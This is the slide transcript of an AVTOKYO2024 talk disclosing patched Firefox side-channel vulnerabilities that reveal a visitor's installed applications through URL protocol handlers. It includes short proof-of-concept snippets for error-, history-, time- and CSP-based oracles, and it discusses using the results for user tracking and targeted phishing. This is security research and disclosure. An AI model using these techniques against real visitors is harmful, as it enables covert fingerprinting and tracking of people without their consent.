【AVTOKYO2024】Mozilla Firefox 0-day: Browser Side-Channel Attack to Leak Installed Applications

Abstract : This presentation focuses on a 0-day vulnerability in Mozilla Firefox, which is a browser side-channel attack leveraging the URL protocol handler. The attack exploits subtle behavioral differences in how the browser handles URL protocol requests, using them as an oracle to identify applications installed in the target's machine. Several CVE numbers have been assigned to this vulnerability, and we will delve into how I discovered and attacked the bug, addressing the privacy and security risks posed by the URL protocol handler leaks. This talk is aimed at security researchers and developers interested in attacks against modern web browsers. *Note: This vulnerability was patched as of November 16, 2024.
URL：https://www.avtokyo.org/avtokyo2024/speakers

Transcript

1. Mozilla Firefox 0-day Browser Side-Channel Attack to Leak Installed Applications AVTOKYO2024
2. 2 Satoki Tsuji Ikotas Labs, Inc. WebSec, AISec, Pentesting 𝕏：@satoki00 AVTOKYO2020 Techniques for restoring room images from virtual background images and their automation AVTOKYO2023 Techniques for Prompt Injection and Filter Bypass in AI
3. 3 Today's Target URL Protocol Handler
4. Mechanism for invoking applications via scheme. 4 URL Protocol Handler Custom Scheme Registered Application ms-settings://satoki
5. Any application can register the schemes. i.e., Steam, Slack, Zoom, Skype, Spotify, and Twitch 5 URL Protocol Handler
6. Profit? 6 URL Protocol Handler
7. If an attacker can tell steam:// existence remotely: 7 URL Protocol Handler Leaks Access to the attacker's website Detection of steam:// Phishing disguised as a Steam page / Contacting via Steam
8. If the existence of protocol handlers can be enumerated: 8 URL Protocol Handler Leaks Leak protocol handlers instagram:// → Exist skype:// → Not Exist slack:// → Not Exist spotify:// → Exist steam:// → Exist twitch:// → Exist twitter:// → Exist whatsapp:// → Exist avastpam:// → Not Exist ・Hobby-use PC ・Young person ・No Avast products!
9. If the handlers can be detected across multiple websites: 9 URL Protocol Handler Leaks instagram:// → Exist skype:// → Not Exist slack:// → Not Exist spotify:// → Exist steam:// → Not Exist twitch:// → Exist twitter:// → Exist whatsapp:// → Exist zoommtg:// → Not Exist instagram:// → Exist skype:// → Not Exist slack:// → Not Exist spotify:// → Exist steam:// → Not Exist twitch:// → Exist twitter:// → Exist whatsapp:// → Exist zoommtg:// → Not Exist The same person! → User tracking Web Site 1 A B Web Site 2 User A User B
10. How to capture behavior outside of the website? Onblur triggered by popups → It works, but not stealth What’s important in this attack: ・Enumeration ・Stealth ・Speed 10 Browser Side-Channel Attacks
11. CVE-2020-15680 (Reported by Rotem Kerner) 11 Browser Side-Channel Attacks <img src="ms-settings://satoki"> <img src="satoki://satoki">
12. CVE-2024-9398 (0-day 1) 12 Browser Side-Channel Attacks
13. CVE-2024-9398 (0-day 1) 13 Browser Side-Channel Attacks open01 = window.open("ms-settings://satoki");
14. CVE-2024-9398 (0-day 1) 14 Browser Side-Channel Attacks open02 = window.open("satoki://satoki");
15. CVE-2024-9398 (0-day 1) 15 Browser Side-Channel Attacks open01 → ms-settings://satoki → about:blank → Accessible open02 → satoki://satoki → Cross-Origin Error
16. CVE-2024-9398 (0-day 1) Error-Based Oracle 16 Browser Side-Channel Attacks
17. CVE-2024-9398 (0-day 1) 17 Browser Side-Channel Attacks
18. CVE-2024-9398 (0-day 1) History-Based Oracle 18 Browser Side-Channel Attacks
19. No window open permission, popups aren’t stealthy! 19 Browser Side-Channel Attacks iframe.sandbox = "";
20. CVE-2024-5690 (0-day 2) 20 Browser Side-Channel Attacks
21. CVE-2024-5690 (0-day 2) 21 Browser Side-Channel Attacks <img src="ms-settings://satoki" onerror="alert('ms-settings')"> <img src="satoki://satoki" onerror="alert('satoki')"> The image size is the same, but what about the time until the event handler fires?
22. CVE-2024-5690 (0-day 2) 22 Browser Side-Channel Attacks ms-settings://satoki 6000ms, satoki://satoki 13000ms
23. CVE-2024-5690 (0-day 2) Time-Based Oracle 23 Browser Side-Channel Attacks
24. CVE-2024-5690 DUPLICATE (0-day 3) 24 Browser Side-Channel Attacks
25. CVE-2024-5690:DUPLICATE (0-day 3) 25 Browser Side-Channel Attacks <html> <head> <meta http-equiv="Content-Security-Policy" content="img-src 'self';"> </head> <body> <img src="ms-settings://satoki"> <img src="satoki://satoki"> </body> </html>
26. CVE-2024-5690:DUPLICATE (0-day 3) 26 Browser Side-Channel Attacks ms-settings://satoki → Blocked by CSP satoki://satoki → Image fails to load
27. CVE-2024-5690:DUPLICATE (0-day 3) How to catch CSP violations? report-uri 27 Browser Side-Channel Attacks
28. CVE-2024-5690:DUPLICATE (0-day 3) 28 Browser Side-Channel Attacks { "csp-report": { "blocked-uri": "ms-settings", "column-number": 1, "disposition": "enforce", "document-uri": "http://localhost:5555/", "effective-directive": "img-src", "original-policy": "img-src 'self'; report-uri http://localhost:5555/omg", "referrer": "", "status-code": 200, "violated-directive": "img-src" }
29. CVE-2024-5690:DUPLICATE (0-day 3) 29 Browser Side-Channel Attacks CSP-Based Oracle
30. Caused by the difference in the browser processing flow. 30 Cause of Side-Channel Attacks Does the protocol handler exist? Is it allowed by CSP? Loading of src Event handler fires 0-day 2 (Time-Based Oracle) 0-day 3 (CSP-Based Oracle) N Y
31. There may be various other techniques out there! Welcome to browser side-channel world! ※ It is not effective for tracking Tor users because the URL protocol handler is not enabled. 31 Find Your Side-Channel Attacks
32. ・Rotem Kerner Basic idea of the attack https://www.fortinet.com/blog/threat-research/leaking-browser- url-protocol-handlers ・st98 (@st98_) Inspiration for the time-based oracle ・ptr-yudai (@ptrYudai) Inspiration for the stealth error-based oracle 32 Special Thanks
33. The End 33 The End